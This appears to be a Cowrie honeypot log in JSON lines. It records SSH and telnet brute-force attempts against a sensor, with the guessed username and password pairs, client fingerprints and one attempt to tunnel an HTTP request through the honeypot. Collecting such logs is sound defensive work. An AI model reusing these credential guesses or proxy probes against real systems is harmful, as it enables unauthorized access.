{"eventid":"cowrie.login.failed","username":"root","password":"phone","message":"login attempt [root/phone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.532620Z","src_ip":"193.228.128.84","session":"50e86c92dd68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.501166343688965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.617805Z","src_ip":"192.119.13.58","session":"e28b65bdb35c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.697236Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.788128Z","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.877240Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.881022Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.971481Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39142,"dst_ip":"10.17.0.5","dst_port":22,"session":"f356efc39e3c","protocol":"ssh","message":"New connection: 45.153.34.112:39142 (10.17.0.5:22) [session: f356efc39e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:44.320199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:44.325317Z","src_ip":"45.153.34.112","session":"f356efc39e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:44.412711Z","src_ip":"45.153.34.112","session":"f356efc39e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:44.636665Z","src_ip":"193.228.128.84","session":"50e86c92dd68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:44.661775Z","src_ip":"45.153.34.112","session":"f356efc39e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:45.773300Z","src_ip":"45.153.34.112","session":"f356efc39e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.535240173339844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:47.351025Z","src_ip":"192.119.13.58","session":"c472e1c6bd73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":47690,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec295d32d51","protocol":"ssh","message":"New connection: 46.19.67.181:47690 (159.203.135.109:22) [session: eec295d32d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:47.765479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:47.770682Z","src_ip":"46.19.67.181","session":"eec295d32d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:47.888708Z","src_ip":"46.19.67.181","session":"eec295d32d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.90863513946533,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:47.946441Z","src_ip":"192.119.13.58","session":"413fc2a66175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39154,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd6b615b6d1","protocol":"ssh","message":"New connection: 45.153.34.112:39154 (10.17.0.5:22) [session: 9fd6b615b6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:48.132329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:48.137264Z","src_ip":"45.153.34.112","session":"9fd6b615b6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:48.220875Z","src_ip":"45.153.34.112","session":"9fd6b615b6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:48.245637Z","src_ip":"46.19.67.181","session":"eec295d32d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:48.471345Z","src_ip":"45.153.34.112","session":"9fd6b615b6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:49.383732Z","src_ip":"46.19.67.181","session":"eec295d32d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:49.637058Z","src_ip":"45.153.34.112","session":"9fd6b615b6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92415642738342,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.066924Z","src_ip":"192.119.13.58","session":"91b3cd9c70a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a865db0a04cf","protocol":"telnet","message":"New connection: 192.119.13.58:36686 (10.17.0.5:23) [session: a865db0a04cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.218019Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46124,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cbeec049c8c","protocol":"ssh","message":"New connection: 45.153.34.112:46124 (10.17.0.5:22) [session: 6cbeec049c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.784094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.792814Z","src_ip":"45.153.34.112","session":"6cbeec049c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.876217Z","src_ip":"45.153.34.112","session":"6cbeec049c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39646,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8bd80b6370c","protocol":"telnet","message":"New connection: 192.119.13.58:39646 (10.17.0.5:23) [session: c8bd80b6370c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:51.908949Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:52.124580Z","src_ip":"45.153.34.112","session":"6cbeec049c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:53.210565Z","src_ip":"45.153.34.112","session":"6cbeec049c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a067962a62a","protocol":"ssh","message":"New connection: 45.153.34.112:46138 (10.17.0.5:22) [session: 0a067962a62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:55.440965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:55.446025Z","src_ip":"45.153.34.112","session":"0a067962a62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:55.529097Z","src_ip":"45.153.34.112","session":"0a067962a62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55114,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd2fa206c97","protocol":"telnet","message":"New connection: 192.119.13.58:55114 (10.17.0.5:23) [session: 3fd2fa206c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:55.538570Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:55.777570Z","src_ip":"45.153.34.112","session":"0a067962a62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:56.868751Z","src_ip":"45.153.34.112","session":"0a067962a62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46152,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f6e76ce9326","protocol":"ssh","message":"New connection: 45.153.34.112:46152 (10.17.0.5:22) [session: 7f6e76ce9326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:59.064379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:59.070764Z","src_ip":"45.153.34.112","session":"7f6e76ce9326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:59.154107Z","src_ip":"45.153.34.112","session":"7f6e76ce9326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:59.527075Z","src_ip":"45.153.34.112","session":"7f6e76ce9326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:00.616698Z","src_ip":"45.153.34.112","session":"7f6e76ce9326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45820,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f323e62cd7b","protocol":"ssh","message":"New connection: 45.153.34.112:45820 (10.17.0.5:22) [session: 3f323e62cd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:02.682929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:02.690992Z","src_ip":"45.153.34.112","session":"3f323e62cd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:02.773957Z","src_ip":"45.153.34.112","session":"3f323e62cd7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:03.028303Z","src_ip":"45.153.34.112","session":"3f323e62cd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:04.120654Z","src_ip":"45.153.34.112","session":"3f323e62cd7b","protocol":"ssh"}
